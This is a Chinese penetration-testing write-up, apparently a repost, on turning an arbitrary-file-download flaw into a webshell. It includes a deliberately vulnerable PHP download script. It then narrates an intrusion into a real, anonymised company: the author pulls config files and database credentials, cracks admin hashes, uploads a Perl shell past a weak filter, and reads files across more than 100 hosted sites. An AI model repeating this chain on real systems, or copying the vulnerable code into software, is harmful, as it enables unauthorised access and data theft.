某集團任意文件下載到虛擬主機getshell的方法
0x01 前言
從某群的故事改編而來,都是些老套路各位看官看得高興就好;第一次在i春秋發(fā)帖有點緊張,如果有什么不周到的地方請去打死阿甫哥哥。你沒聽錯,阿甫哥哥推薦。
0x02 什么是任意文件下載
說到文件下載各位童鞋都不陌生(老司機請?zhí)^),我們要下載網(wǎng)站上某個文件(.zip、.doc、.pdf)直接請求這個文件即可格式一般為:域名+相對路徑+文件名,如http://www.test.com/downlad/test.zip。而在網(wǎng)站上下載文件一般分為兩種,一種就是剛才所說的直接請求某個文件,還有一種就是網(wǎng)站運營者提供了一個下載腳我們只需要請求:http://www.test.com/download.php?filename=test.zip(文件名)這樣的url也可以下載文件。
眾所周知,我們請求一個網(wǎng)站上的腳本文件(這里以php為例)是不會被下載的,如:http://www.test.com/test.php。那任意文件下載是怎么造成的呢?這里就是上面說到的第二種情況了,網(wǎng)站運營者提供了http://www.test.com/download.php?filename=test.zip這樣一個連接本意是想訪問者下載test.zip文件,但是沒有做好安全措施導致任意文件下載。 舉個栗子:
測試環(huán)境(phpstudy):windows7+php-5.5.38+apache
一個任意文件下載腳本test.php,代碼如下:
<?phpif(empty($_GET['filename']))
{
echo 'i春秋任意文件下載測試~'."<br>請輸入需要下載的文件名";
}
else
{
$filename = $_GET['filename'];
$fileinfo = pathinfo($filename);
header('Content-type: application/x-'.$fileinfo['extension']);
header('Content-Disposition: attachment; filename='.$fileinfo[' name']);
header('Content-Length: '.filesize($filename));
readfile($filename);
exit(); }
?>
直接訪問該文件,文件并沒有被下載而是解析了其中的代碼

在網(wǎng)站根目錄下新建一個文件夾inc并新建一個名為ichunqiu.php的文件

現(xiàn)在來嘗試下載該文件,訪問:http://127.0.0.1/test/test.php?filename=/inc/ichunqiu.php成功下載該文件

0x03 某集團任意文件下載
之前挖某集團的漏洞時發(fā)現(xiàn)一個任意文件下載,兩個思路:①下載源碼審計-發(fā)現(xiàn)漏洞-利用;②下載數(shù)據(jù)庫文件-如果支持外聯(lián)-登錄后臺-嘗試getshell,這里我選擇了第二種。
首先下載了index.php文件,代碼如下:
<?define('IN_W3CWEB',true);require(dirname(__FILE__) . '/include/global.php');
@header("Content-type: text/html;
charset=utf-8");
InitGP(array("action","do","gid","id"));
$smarty->assign("pagetag","about");
$smarty->assign("page ","index");
$lng=isset($_GET['lng']) && $_GET['lng']=='en'?'en':'cn';
$sql="select * from $table_article where channel='1' and cat_id in(38,39)
order by show_style desc,art_addtime desc limit 6 ";
if($array=$DB->GetAll($sql)){
//print_r($row); $smarty->assign("article_index",$array); }//print_r($GLOBALS);/*seo*/$seo_
=""; $seo_keywords
=""; $seo_de ion
=""; seo_print();//print_r($_COOKIE);
$smarty->assign("action",$action);
$tpl="cn/index.html";
$smarty->display($tpl);//print_r($GLOBALS);
?>
第3行包含了/include/global.php文件,繼續(xù)下載global.php文件在第31-32行代碼發(fā)現(xiàn)包含了數(shù)據(jù)庫連接文件,如下:
<?php.../* 加載基本配置信息文件 */require(ROOT_PATH . 'data/config.php'); ...?>
在config.php中找到數(shù)據(jù)庫連接信息:
<?php// data type$db_type = "mysqli"; // data host$db_host = "xx.xx.xx.com"; // data name$db_name = "dxxxm"; // data username$db_user = "dxxxm"; // data password$db_pass = 'cxxxp1xxx6'; $dsn1 = "$db_type://$db_user:$db_pass@$db_host/$db_name"; ...?>
站庫分離,百度site:xx.com“廈xxx有限公司”

再訪問下http://www.xxx.com/這個域名,通過掃描微信后基本確認“xx集團”主站的數(shù)據(jù)庫是放在“xxx有限公司”的服務(wù)器上

繼續(xù),用navacat連接找到后臺用戶帳號密碼:
用戶名 密文 解密明文
axxxn 5xxx0
gxxxn 2xxxc 1xxxv

0x04 虛擬主機getshell
接著用gxxxn/1xxxv成功登錄某集團官網(wǎng)后臺:http://www.xxx.com/manage.php

在已發(fā)布文章里找了一處可以上傳圖片的,簡單測試了下phtml、php、php%20、php%00之類的后綴均不能繞過,只好只好下載相關(guān)文件看代碼。
<?php...//picfunction upload_pic($uploaddir, $uploadname, $uploadtype)
{
global $config;
if($_FILES[$uploadname]["name"])
{
$dir_file=$uploaddir;
if(!file_exists($dir_file)){
mkdir($dir_file , 0777);
chmod($dir_file,0777);
}
$filename=explode(".",$_FILES[$uploadname]['name']);
do{
$filename[0] = date('YmdHis').$uploadtype;
$uploadfile = $dir_file.implode(".",$filename);
} while(file_exists($uploadfile));
if(strpos($uploadfile,"php")>0)
{
return 'no php';
}
copy($_FILES[$uploadname]['tmp_name'], $uploadfile);
}
return str_replace($config['siteRoot'], "", $uploadfile); } ...?>
strpos($uploadfile,"php")只過濾了php文件,陷入困境又去官網(wǎng)翻了翻突然注意到一處404仔細一看” 2.0.9 Perl”還支持perl腳本?于是在后臺找了一處上傳圖片的地方直接上傳perl腳本,結(jié)果還真成功getshell地址:http://www.xxx.com/AxxxT/axxxe/2xxxo.pl 支持perl的站,又漲姿勢了~

查看日志文件發(fā)現(xiàn)大量網(wǎng)站記錄:cat /var/www/73scan.log也可以直接看web命令:ls /var/www/vhosts

100+的網(wǎng)站,無意間getshell某公司的虛擬主機

任意讀取一網(wǎng)站目錄下的文件:cat /var/www/vhosts/0xxcom/httpdocs/index.php

雖然當前權(quán)限不能修改和寫入,但是可跨目錄讀文件而這些網(wǎng)站的數(shù)據(jù)庫又支持外聯(lián),你懂的;
本想試試臟牛提權(quán),但怕給打死了就草草提交了
0x05 總結(jié)
① 精簡下整個過程:任意文件下載-連接數(shù)據(jù)獲得帳號密碼-后臺上傳;
② 代碼這塊有點php基礎(chǔ)都能看懂,學個十天半個月就成;
③ 細心吧,看到錯誤信息才想到支持perl腳本,不過一般也只有l(wèi)inux才會有;
以上所述是小編給大家介紹的某集團任意文件下載到虛擬主機getshell的方法,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回復大家的。在此也非常感謝大家對腳本之家網(wǎng)站的支持!
相關(guān)文章
Rainbond云原生部署開源社區(qū)Discourse的配置過程
這篇文章主要為大家介紹了Rainbond云原生部署開源社區(qū)Discourse配置過程,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪2022-04-04
k8s跨服務(wù)調(diào)用入門到實戰(zhàn)示例詳解
這篇文章主要為大家介紹了k8s跨服務(wù)調(diào)用入門到實戰(zhàn)示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪2023-09-09
Rainbond云原生部署SpringCloud應(yīng)用架構(gòu)實踐
這篇文章主要為大家介紹了Rainbond云原生部署SpringCloud應(yīng)用架構(gòu)實踐,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪2022-04-04
K8S?實用工具之合并多個kubeconfig實現(xiàn)詳解
這篇文章主要為大家介紹了K8S?實用工具之合并多個kubeconfig實現(xiàn)詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪2023-03-03

